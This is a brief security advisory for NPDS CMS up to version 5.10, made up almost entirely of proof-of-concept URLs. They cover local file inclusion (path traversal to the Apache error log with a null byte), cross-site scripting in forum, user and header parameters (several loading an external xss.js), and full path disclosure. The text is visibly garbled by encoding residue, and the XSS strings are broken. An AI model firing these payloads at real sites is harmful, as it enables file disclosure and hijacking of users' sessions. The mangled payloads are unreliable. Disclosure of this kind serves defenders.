// Script=0D
Web -------- www.npds.org=0D 
versions --- NPDS <= 5.10=0D
Solutions -- None official=0D
Note ------- Vendor has been contacted=0D
=0D
// Local Inclusion=0D
http://[...]/header.php?Default_Theme=../apache/logs/error.log%00=0D 
http://[...]/modules/cluster-paradise/cluster-E.php?ModPath=../../../../../apache/logs/error.log%00=0D 
=0D
// Cross Site Scripting=0D
http://[...]/header.php?Titlesitename==0D 
=0D">http://[...]/header.php?sitename=">=0D 
=0D">http://[...]/meta/meta.php?nuke_url=">=0D 
http://[...]/viewforum.php?forum=2"> src=http://[...]/xss.js>=0D 
http://[...]/editpost.php?forum=1&post_id=888"> src=http://[...]/xss.js>=0D 
http://[...]/editpost.php?forum=1"> src=http://[...]/xss.js>=0D 
http://[...]/editpost.php?forum=1&topic="> src=http://[...]/xss.js>=0D 
http://[...]/editpost.php?forum=1&arbre="> src=http://[...]/xss.js>=0D 
http://[...]/user.php?op=only_newuser&uname="> src=http://[...]/xss.js>=0D 
http://[...]/user.php?op=only_newuser&email="> src=http://[...]/xss.js>=0D 
=0D
// Full Path Disclosure=0D
http://[...]/header.php=0D 
http://[...]/modules/contact/contact.php=0D 
http://[...]/modules/sform/forum/forum_extender.php=0D 
=0D
// Credits=0D
by DarkFig -- http://www.acid-root.new.fr/advisories/npds510.txt